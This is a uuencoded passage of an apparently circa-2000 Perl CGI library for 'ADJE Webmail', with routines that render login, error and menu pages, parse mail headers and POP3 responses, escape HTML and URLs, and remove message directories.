M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
